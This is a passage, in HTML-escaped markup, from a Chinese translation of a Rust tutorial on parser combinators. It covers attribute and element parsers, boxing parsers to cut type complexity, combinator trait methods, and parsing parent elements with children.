&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn quoted_string_parser() {
    assert_eq!(
        Ok((&amp;quot;&amp;quot;, &amp;quot;Hello Joe!&amp;quot;.to_string())),
        quoted_string().parse(&amp;quot;\&amp;quot;Hello Joe!\&amp;quot;&amp;quot;)
    );
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以, 终于, 我们可以解析点属性了.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;at-last-parsing-attributes&quot;&gt;At Last, Parsing Attributes&lt;&#x2F;h2&gt;
&lt;p&gt;我们现在可以解析空格、标识符、&lt;code&gt;=&lt;&#x2F;code&gt; 符号和带引号的字符串。 最后，这就是我们解析属性所需的全部内容。&lt;&#x2F;p&gt;
&lt;p&gt;首先，让我们为一个属性对编写一个解析器。 我们将把它们存储为 &lt;code&gt;Vec&amp;lt;(String, String)&amp;gt;&lt;&#x2F;code&gt;，你可能还记得，所以我们需要一个解析器来处理 &lt;code&gt;(String, String)&lt;&#x2F;code&gt; 元组,来提供给我们值得信赖的 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 组合子。 让我们看看我们是否可以写出一个。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn attribute_pair&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, (String, String)&amp;gt; {
    pair(identifier, right(match_literal(&amp;quot;=&amp;quot;), quoted_string()))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;易如反掌！ 总结一下：我们已经有一个方便的组合子来解析一个值的元组，&lt;code&gt;pair&lt;&#x2F;code&gt;，所以我们将它与 &lt;code&gt;identifier&lt;&#x2F;code&gt; 解析器一起使用，产生一个 &lt;code&gt;String&lt;&#x2F;code&gt; 和一个带有 &lt;code&gt;=&lt;&#x2F;code&gt; 符号的 &lt;code&gt;right&lt;&#x2F;code&gt;， 它包括了我们不想保留的值，以及我们新的 &lt;code&gt;quoted_string&lt;&#x2F;code&gt; 解析器，它给了我们另一个 &lt;code&gt;String&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;现在，让我们将其与 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 结合起来构建该 &lt;code&gt;vector&lt;&#x2F;code&gt; - 但不要忘记它们之间的空白。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn attributes&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Vec&amp;lt;(String, String)&amp;gt;&amp;gt; {
    zero_or_more(right(space1(), attribute_pair()))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;零次或多次出现以下内容：一个或多个空白字符，然后是一个属性对。 我们使用&lt;code&gt;right&lt;&#x2F;code&gt;来丢弃空格并保留属性对。&lt;&#x2F;p&gt;
&lt;p&gt;让我们测试一下。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn attribute_parser() {
    assert_eq!(
        Ok((
            &amp;quot;&amp;quot;,
            vec![
                (&amp;quot;one&amp;quot;.to_string(), &amp;quot;1&amp;quot;.to_string()),
                (&amp;quot;two&amp;quot;.to_string(), &amp;quot;2&amp;quot;.to_string())
            ]
        )),
        attributes().parse(&amp;quot; one=\&amp;quot;1\&amp;quot; two=\&amp;quot;2\&amp;quot;&amp;quot;)
    );
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;测试通过! 起飞!&lt;&#x2F;p&gt;
&lt;p&gt;实际上，并没有，在叙述者点上, 我的 &lt;code&gt;rustc&lt;&#x2F;code&gt; 抱怨我的类型变得非常复杂，我需要增加最大允许的类型大小才能继续。你也可能遇到这种情况，如果发生了, 你需要知道如何处理它。 幸好，在这些情况下，&lt;code&gt;rustc&lt;&#x2F;code&gt; 通常会给出很好的建议，所以当它告诉你将 &lt;code&gt;#![type_length_limit = &quot;...some big number...&quot;]&lt;&#x2F;code&gt; 添加到文件顶部时，就按照它说的去做。 实际上，只需将其设为 &lt;code&gt;#![type_length_limit = &quot;16777216&quot;]&lt;&#x2F;code&gt;，这将使我们进一步深入复杂类型的平流层。 全力以赴，我们现在是宇航员！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;so-close-now&quot;&gt;So Close Now&lt;&#x2F;h2&gt;
&lt;p&gt;这个时候，事情似乎即将开始合为一体，这让人松了一口气，因为我们的类型正在快速接近 NP 完整性。 我们只需要处理两个版本的元素标签：单个元素和带有子元素的父元素，但是我们非常有信心，一旦我们有了这些，解析子元素将只是 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 的问题， 对吧？&lt;&#x2F;p&gt;
&lt;p&gt;所以让我们先从单一元素开始，把孩子的问题推迟一点。 或者，更好的是，让我们首先为两者的所有共同点编写一个解析器：开头的 &lt;code&gt;&amp;lt;&lt;&#x2F;code&gt;、元素名称和属性。 让我们看看我们是否可以从几个组合子中得到 &lt;code&gt;(String, Vec&amp;lt;(String, String)&amp;gt;)&lt;&#x2F;code&gt;类型。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn element_start&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, (String, Vec&amp;lt;(String, String)&amp;gt;)&amp;gt; {
    right(match_literal(&amp;quot;&amp;lt;&amp;quot;), pair(identifier, attributes()))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有了它，我们可以快速地给它打上标签，为单个元素创建一个解析器。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn single_element&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Element&amp;gt; {
    map(
        left(element_start(), match_literal(&amp;quot;&amp;#x2F;&amp;gt;&amp;quot;)),
        |(name, attributes)| Element {
            name,
            attributes,
            children: vec![],
        },
    )
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;万岁，感觉我们的目标已经触手可及了——我们现在实际上正在构建一个 &lt;code&gt;Element&lt;&#x2F;code&gt;！&lt;&#x2F;p&gt;
&lt;p&gt;让我们来测试一下这个现代科技的奇迹吧。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;#[test]
fn single_element_parser() {
    assert_eq!(
        Ok((
            &amp;quot;&amp;quot;,
            Element {
                name: &amp;quot;div&amp;quot;.to_string(),
                attributes: vec![(&amp;quot;class&amp;quot;.to_string(), &amp;quot;float&amp;quot;.to_string())],
                children: vec![]
            }
        )),
        single_element().parse(&amp;quot;&amp;lt;div class=\&amp;quot;float\&amp;quot;&amp;#x2F;&amp;gt;&amp;quot;)
    );
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;...我想我们才刚刚突破大气层。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;single_element&lt;&#x2F;code&gt; 的返回类型非常复杂，编译器会花费很长时间，直到遇到我们之前给它的非常大的类型大小限制 (&lt;code&gt;#![type_length_limit = &quot;&quot;]&lt;&#x2F;code&gt;)，要求更大的类型。 很明显我们不能再忽视这个问题，因为它是一个相当简单的解析器和(应该只需要)几分钟的编译时间——对于成品来说甚至可能是几个小时——似乎有点不合理。&lt;&#x2F;p&gt;
&lt;p&gt;在继续之前，你最好在我们修复问题时注释掉这两个函数和测试......&lt;&#x2F;p&gt;
&lt;h2 id=&quot;to-infinity-and-beyond&quot;&gt;To Infinity And Beyond&lt;&#x2F;h2&gt;
&lt;p&gt;如果你曾经尝试过在 Rust 中编写递归类型，你可能已经知道我们的小问题的解决方案。&lt;&#x2F;p&gt;
&lt;p&gt;递归类型的一个非常简单的例子是单向链表。 原则上，可以将其表示为这样的枚举：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;enum List&amp;lt;A&amp;gt; {
    Cons(A, List&amp;lt;A&amp;gt;),
    Nil,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;rustc&lt;&#x2F;code&gt; 会非常明智地反对你的递归类型 &lt;code&gt;List&amp;lt;A&amp;gt;&lt;&#x2F;code&gt; ,因为它具有无限大小，因为在每个 &lt;code&gt;List::&amp;lt;A&amp;gt;::Cons&lt;&#x2F;code&gt; 内部是另一个 &lt;code&gt;List&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;，这意味着它也是一个 &lt;code&gt;List&amp;lt;A&amp;gt;&lt;&#x2F;code&gt;......直到无穷大。就 &lt;code&gt;rustc&lt;&#x2F;code&gt; 而言，我们要求一个无限列表，我们要求它能够&lt;em&gt;分配&lt;&#x2F;em&gt;一个无限列表。&lt;&#x2F;p&gt;
&lt;p&gt;在许多语言中，无限列表原则上对于类型系统来说不是问题，实际上对于 Rust 也不是问题。问题是在 Rust 中，如前所述，我们需要能够&lt;em&gt;分配&lt;&#x2F;em&gt;它，或者更确切地说，我们需要能够在我们构造它时预先确定类型的 &lt;em&gt;大小&lt;&#x2F;em&gt;，以及当类型是无限的，这意味着大小也必须是无限的。&lt;&#x2F;p&gt;
&lt;p&gt;解决方案是使用一点间接性。我们的&lt;code&gt;List::Cons&lt;&#x2F;code&gt; 不是&lt;code&gt;A&lt;&#x2F;code&gt; 的一个元素和&lt;code&gt;A&lt;&#x2F;code&gt; 的另一个&lt;em&gt;list&lt;&#x2F;em&gt;，而是我们使它成为&lt;code&gt;A&lt;&#x2F;code&gt; 的一个元素和一个指向&lt;code&gt;A&lt;&#x2F;code&gt; 列表的&lt;em&gt;指针&lt;&#x2F;em&gt;。我们知道指针的大小，不管它指向什么都是一样的，所以我们的 List::Cons 现在有一个固定的和可预测的大小，无论列表的大小如何。在 Rust 中，将一个拥有的东西变成指向堆上拥有的东西的指针的方法是用 &lt;code&gt;box&lt;&#x2F;code&gt; 包裹它。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;enum List&amp;lt;A&amp;gt; {
    Cons(A, Box&amp;lt;List&amp;lt;A&amp;gt;&amp;gt;),
    Nil,
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;Box&lt;&#x2F;code&gt; 的另一个有趣的特性是它里面的类型可以是抽象的。 这意味着我们可以让类型检查器处理一个非常简洁的 &lt;code&gt;Box&amp;lt;dyn Parser&amp;lt;&#x27;a, A&amp;gt;&amp;gt;&lt;&#x2F;code&gt;，而不是我们现在非常复杂的解析器函数类型。&lt;&#x2F;p&gt;
&lt;p&gt;听起来不错。 有什么缺点？ 好吧，我们可能会因为必须遵循该指针而失去一两个指令周期，也可能是编译器失去了一些优化解析器的机会。 但回想一下 Knuth 关于过早优化(1)的告诫：它会没事的。 你完全可以负担得起这些周期。 来这里是为了解 解析器组合子，而不是了解手写的超专业化 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;lemire&#x2F;simdjson&quot;&gt;SIMD 解析器&lt;&#x2F;a&gt;（尽管它们本身就很令人兴奋）。 因此，除了迄今为止我们一直在使用的裸函数之外，让我们继续为 &lt;em&gt;boxed&lt;&#x2F;em&gt; 解析器函数实现 &lt;code&gt;Parser&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;译者注: 1: 过早优化是万恶之源&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;struct BoxedParser&amp;lt;&amp;#x27;a, Output&amp;gt; {
    parser: Box&amp;lt;dyn Parser&amp;lt;&amp;#x27;a, Output&amp;gt; + &amp;#x27;a&amp;gt;,
}

impl&amp;lt;&amp;#x27;a, Output&amp;gt; BoxedParser&amp;lt;&amp;#x27;a, Output&amp;gt; {
    fn new&amp;lt;P&amp;gt;(parser: P) -&amp;gt; Self
    where
        P: Parser&amp;lt;&amp;#x27;a, Output&amp;gt; + &amp;#x27;a,
    {
        BoxedParser {
            parser: Box::new(parser),
        }
    }
}

impl&amp;lt;&amp;#x27;a, Output&amp;gt; Parser&amp;lt;&amp;#x27;a, Output&amp;gt; for BoxedParser&amp;lt;&amp;#x27;a, Output&amp;gt; {
    fn parse(&amp;amp;self, input: &amp;amp;&amp;#x27;a str) -&amp;gt; ParseResult&amp;lt;&amp;#x27;a, Output&amp;gt; {
        self.parser.parse(input)
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;出于礼节，我们创建了一个新类型 &lt;code&gt;BoxedParser&lt;&#x2F;code&gt;来保存我们的 &lt;code&gt;box&lt;&#x2F;code&gt;。 要从任何其他类型的解析器（包括另一个&lt;code&gt;BoxedParser&lt;&#x2F;code&gt;，即使那毫无意义）创建一个新的&lt;code&gt;BoxedParser&lt;&#x2F;code&gt;，我们提供了一个函数&lt;code&gt;BoxedParser::new(parser)&lt;&#x2F;code&gt;，它只会将该解析器放入 我们的新类型中的一个 &lt;code&gt;Box&lt;&#x2F;code&gt;。 最后，我们为它实现了 &lt;code&gt;Parser&lt;&#x2F;code&gt;，这样它就可以作为解析器互换使用。&lt;&#x2F;p&gt;
&lt;p&gt;这使我们能够将解析器函数放入 &lt;code&gt;Box&lt;&#x2F;code&gt;，并且 &lt;code&gt;BoxedParser&lt;&#x2F;code&gt; 将与函数一样用作 &lt;code&gt;Parser&lt;&#x2F;code&gt;。 现在，正如前面提到的，这意味着将解析器移动到堆中，并且必须取消引用一个指针才能找到它，这可能会花费我们&lt;em&gt;几个宝贵的纳秒&lt;&#x2F;em&gt;，所以我们实际上可能想要推迟使用 &lt;code&gt;box&lt;&#x2F;code&gt;。 将一些更常用的组合子放到 &lt;code&gt;box&lt;&#x2F;code&gt; 就足够了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-opportunity-presents-itself&quot;&gt;&lt;strong&gt;An Opportunity Presents Itself&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;但是，稍等片刻，这为我们提供了解决另一个变得麻烦的问题的机会。&lt;&#x2F;p&gt;
&lt;p&gt;还记得我们写的最后几个解析器吗？ 因为我们的组合子是独立的函数，当我们嵌套大量的组合子时，我们的代码开始变得有点不可读。 回想一下我们的 &lt;code&gt;quoted_string&lt;&#x2F;code&gt; 解析器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn quoted_string&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, String&amp;gt; {
    map(
        right(
            match_literal(&amp;quot;\&amp;quot;&amp;quot;),
            left(
                zero_or_more(pred(any_char, |c| *c != &amp;#x27;&amp;quot;&amp;#x27;)),
                match_literal(&amp;quot;\&amp;quot;&amp;quot;),
            ),
        ),
        |chars| chars.into_iter().collect(),
    )
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果我们可以在解析器上使用这些组合子方法而不是独立函数，它会有更好的可读性。 如果我们可以将组合子声明为 &lt;code&gt;Parser&lt;&#x2F;code&gt; trait 上的方法会怎样？&lt;&#x2F;p&gt;
&lt;p&gt;问题是，如果我们这样做，我们就失去了依赖 &lt;code&gt;impl Trait&lt;&#x2F;code&gt; 作为返回类型的能力，因为 &lt;code&gt;impl Trait&lt;&#x2F;code&gt; 不允许出现在 trait 声明中。&lt;&#x2F;p&gt;
&lt;p&gt;……但现在我们有了&lt;code&gt;BoxedParser&lt;&#x2F;code&gt;。 我们不能声明一个返回 &lt;code&gt;impl Parser&amp;lt;&#x27;a, A&amp;gt;&lt;&#x2F;code&gt; 的 trait ，但我们肯定&lt;em&gt;可以&lt;&#x2F;em&gt;声明一个返回 &lt;code&gt;BoxedParser&amp;lt;&#x27;a, A&amp;gt;&lt;&#x2F;code&gt; 的 trait 。&lt;&#x2F;p&gt;
&lt;p&gt;最好的部分是我们甚至可以使用默认实现声明这些，这样我们就不必为实现 &lt;code&gt;Parser&lt;&#x2F;code&gt; 的每个类型重新实现每个组合子。&lt;&#x2F;p&gt;
&lt;p&gt;让我们用 &lt;code&gt;map&lt;&#x2F;code&gt; 来试试，通过扩展我们的 &lt;code&gt;Parser&lt;&#x2F;code&gt; trait 如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;trait Parser&amp;lt;&amp;#x27;a, Output&amp;gt; {
    fn parse(&amp;amp;self, input: &amp;amp;&amp;#x27;a str) -&amp;gt; ParseResult&amp;lt;&amp;#x27;a, Output&amp;gt;;

    fn map&amp;lt;F, NewOutput&amp;gt;(self, map_fn: F) -&amp;gt; BoxedParser&amp;lt;&amp;#x27;a, NewOutput&amp;gt;
    where
        Self: Sized + &amp;#x27;a,
        Output: &amp;#x27;a,
        NewOutput: &amp;#x27;a,
        F: Fn(Output) -&amp;gt; NewOutput + &amp;#x27;a,
    {
        BoxedParser::new(map(self, map_fn))
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;啊这，好多&lt;code&gt;&#x27;a&#x27;&lt;&#x2F;code&gt;，唉，它们都是必要的。 幸运的是，我们仍然可以不变地重用旧的组合子函数——而且，我们还得到一个额外的好处，不仅可以获得更好的语法来应用它们，我们还通过自动 &lt;code&gt;box&lt;&#x2F;code&gt; 来摆脱爆炸性的 &lt;code&gt;impl Trait&lt;&#x2F;code&gt; 类型。 现在我们可以稍微改进我们的 &lt;code&gt;quoted_string&lt;&#x2F;code&gt; 解析器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn quoted_string&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, String&amp;gt; {
    right(
        match_literal(&amp;quot;\&amp;quot;&amp;quot;),
        left(
            zero_or_more(pred(any_char, |c| *c != &amp;#x27;&amp;quot;&amp;#x27;)),
            match_literal(&amp;quot;\&amp;quot;&amp;quot;),
        ),
    )
    .map(|chars| chars.into_iter().collect())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;乍一看现在更明显，正在对 &lt;code&gt;right()&lt;&#x2F;code&gt; 的结果调用 &lt;code&gt;.map()&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我们也可以给 &lt;code&gt;pair&lt;&#x2F;code&gt;、&lt;code&gt;left&lt;&#x2F;code&gt; 和 &lt;code&gt;right&lt;&#x2F;code&gt; 相同的处理，但是对于这三个，我认为当它们是函数时读起来更容易，因为它们反映了 &lt;code&gt;pair&lt;&#x2F;code&gt; 的输出结构 类型。 如果你不同意，完全可以像我们对 &lt;code&gt;map&lt;&#x2F;code&gt; 所做的那样将它们添加到 trait 中，并且非常欢迎你继续尝试将其作为练习。&lt;&#x2F;p&gt;
&lt;p&gt;不过，另一个主要候选人是 &lt;code&gt;pred&lt;&#x2F;code&gt;。 让我们将它的定义添加到 &lt;code&gt;Parser&lt;&#x2F;code&gt; trait 中：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn pred&amp;lt;F&amp;gt;(self, pred_fn: F) -&amp;gt; BoxedParser&amp;lt;&amp;#x27;a, Output&amp;gt;
where
    Self: Sized + &amp;#x27;a,
    Output: &amp;#x27;a,
    F: Fn(&amp;amp;Output) -&amp;gt; bool + &amp;#x27;a,
{
    BoxedParser::new(pred(self, pred_fn))
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这下我们就可以用 &lt;code&gt;pred&lt;&#x2F;code&gt; 重写 &lt;code&gt;quoted_string&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;zero_or_more(any_char.pred(|c| *c != &amp;#x27;&amp;quot;&amp;#x27;)),
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我认为这读起来更好一些，我认为我们也会保留 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 原样 - 它读起来就像应用了以下谓词的零个或多个 &lt;code&gt;any_char&lt;&#x2F;code&gt;，这对我来说听起来很半。 当然，如果你愿意这么写，你也可以继续将 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 和 &lt;code&gt;one_or_more&lt;&#x2F;code&gt; 移到 trait 中。&lt;&#x2F;p&gt;
&lt;p&gt;除了重写&lt;code&gt;quoted_string&lt;&#x2F;code&gt;，我们还要修正&lt;code&gt;single_element&lt;&#x2F;code&gt;中的&lt;code&gt;map&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn single_element&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Element&amp;gt; {
    left(element_start(), match_literal(&amp;quot;&amp;#x2F;&amp;gt;&amp;quot;)).map(|(name, attributes)| Element {
        name,
        attributes,
        children: vec![],
    })
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;让我们试着取消对 &lt;code&gt;element_start&lt;&#x2F;code&gt; 和我们之前注释掉的测试的注释，看看情况是否变得更好。 开始编译并尝试运行测试......&lt;&#x2F;p&gt;
&lt;p&gt;……而且，是的，现在编译时间恢复正常了。 甚至可以继续删除文件顶部的字体大小设置。&lt;&#x2F;p&gt;
&lt;p&gt;这只是通过 &lt;code&gt;box&lt;&#x2F;code&gt; 两个 &lt;code&gt;map&lt;&#x2F;code&gt; 和一个 &lt;code&gt;pred&lt;&#x2F;code&gt; - &lt;em&gt;而且&lt;&#x2F;em&gt;我们从中得到了更好的语法！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;having-children&quot;&gt;Having Children&lt;&#x2F;h2&gt;
&lt;p&gt;现在让我们为父元素的开始标记编写解析器。 它几乎与&lt;code&gt;single_element&lt;&#x2F;code&gt; 相同，只是它以&lt;code&gt;&amp;gt;&lt;&#x2F;code&gt; 结尾而不是&lt;code&gt;&#x2F;&amp;gt;&lt;&#x2F;code&gt;。 后面还有零个或多个子元素和一个结束标记，但首先我们需要解析实际的开始标记，所以让我们完成这个函数。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn open_element&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Element&amp;gt; {
    left(element_start(), match_literal(&amp;quot;&amp;gt;&amp;quot;)).map(|(name, attributes)| Element {
        name,
        attributes,
        children: vec![],
    })
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，我们如何得到这些子元素？ 它们将是单个元素或父元素本身，并且它们有零个或多个，所以我们有我们可信赖的 &lt;code&gt;zero_or_more&lt;&#x2F;code&gt; 组合子，但是我们提供什么？ 我们还没有编写过的一件事是多重解析器：解析&lt;em&gt;或者&lt;&#x2F;em&gt;单个元素&lt;em&gt;或&lt;&#x2F;em&gt;父元素的东西。&lt;&#x2F;p&gt;
&lt;p&gt;为了完成这个特性，我们需要一个组合子，它按顺序尝试两个解析器：如果第一个解析器成功，我们就完成了，我们返回它的结果，就是这样。 如果失败，我们不会返回错误，而是在&lt;em&gt;相同的输入&lt;&#x2F;em&gt;上尝试第二个解析器。 如果成功，很好，如果没有，我们也会返回错误，因为这意味着我们的两个解析器都失败了，这是一个整体性失败。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn either&amp;lt;&amp;#x27;a, P1, P2, A&amp;gt;(parser1: P1, parser2: P2) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, A&amp;gt;
where
    P1: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
    P2: Parser&amp;lt;&amp;#x27;a, A&amp;gt;,
{
    move |input| match parser1.parse(input) {
        ok @ Ok(_) =&amp;gt; ok,
        Err(_) =&amp;gt; parser2.parse(input),
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这使得我们可以声明一个解析器&lt;code&gt;element&lt;&#x2F;code&gt;，它匹配单个元素或父元素（现在，我们只使用&lt;code&gt;open_element&lt;&#x2F;code&gt; 来表示它，一旦我们有了&lt;code&gt;element&lt;&#x2F;code&gt;，我们将处理 &lt;code&gt;element&lt;&#x2F;code&gt;）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn element&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Element&amp;gt; {
    either(single_element(), open_element())
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在让我们为结束标记添加一个解析器。 它具有必须匹配开始标签的特性，这意味着解析器必须知道开始标签的名称是什么。 但这就是函数参数的用途，对吧？&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn close_element&amp;lt;&amp;#x27;a&amp;gt;(expected_name: String) -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, String&amp;gt; {
    right(match_literal(&amp;quot;&amp;lt;&amp;#x2F;&amp;quot;), left(identifier, match_literal(&amp;quot;&amp;gt;&amp;quot;)))
        .pred(move |name| name == &amp;amp;expected_name)
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;事实证明，那个 &lt;code&gt;pred&lt;&#x2F;code&gt; 组合子真的很有用，不是吗？&lt;&#x2F;p&gt;
&lt;p&gt;现在，让我们为完整的父元素解析器、子元素和所有元素组合起来：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn parent_element&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Element&amp;gt; {
    pair(
        open_element(),
        left(zero_or_more(element()), close_element(…oops)),
    )
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过使用 &lt;code&gt;and_then&lt;&#x2F;code&gt;，我们现在可以通过使用该函数构建正确版本的 &lt;code&gt;close_element&lt;&#x2F;code&gt; 来获得正确的结果。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;fn parent_element&amp;lt;&amp;#x27;a&amp;gt;() -&amp;gt; impl Parser&amp;lt;&amp;#x27;a, Element&amp;gt; {
    open_element().and_then(|el| {
        left(zero_or_more(element()), close_element(el.name.clone())).map(move |children| {
            let mut el = el.clone();
            el.children = children;
            el
        })
    })
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在看起来有点复杂，因为 &lt;code&gt;and_then&lt;&#x2F;code&gt; 必须在 &lt;code&gt;open_element()&lt;&#x2F;code&gt; 中进行，在那里我们找到进入 &lt;code&gt;close_element&lt;&#x2F;code&gt; 的地方。这意味着 &lt;code&gt;open_element&lt;&#x2F;code&gt; 之后的解析器的其余部分都必须在 &lt;code&gt;and_then&lt;&#x2F;code&gt; 闭包内构造。此外，因为该闭包现在是来自 &lt;code&gt;open_element&lt;&#x2F;code&gt; 的 &lt;code&gt;Element&lt;&#x2F;code&gt; 结果的唯一接收者，我们返回的解析器也必须向前传递该信息。&lt;&#x2F;p&gt;
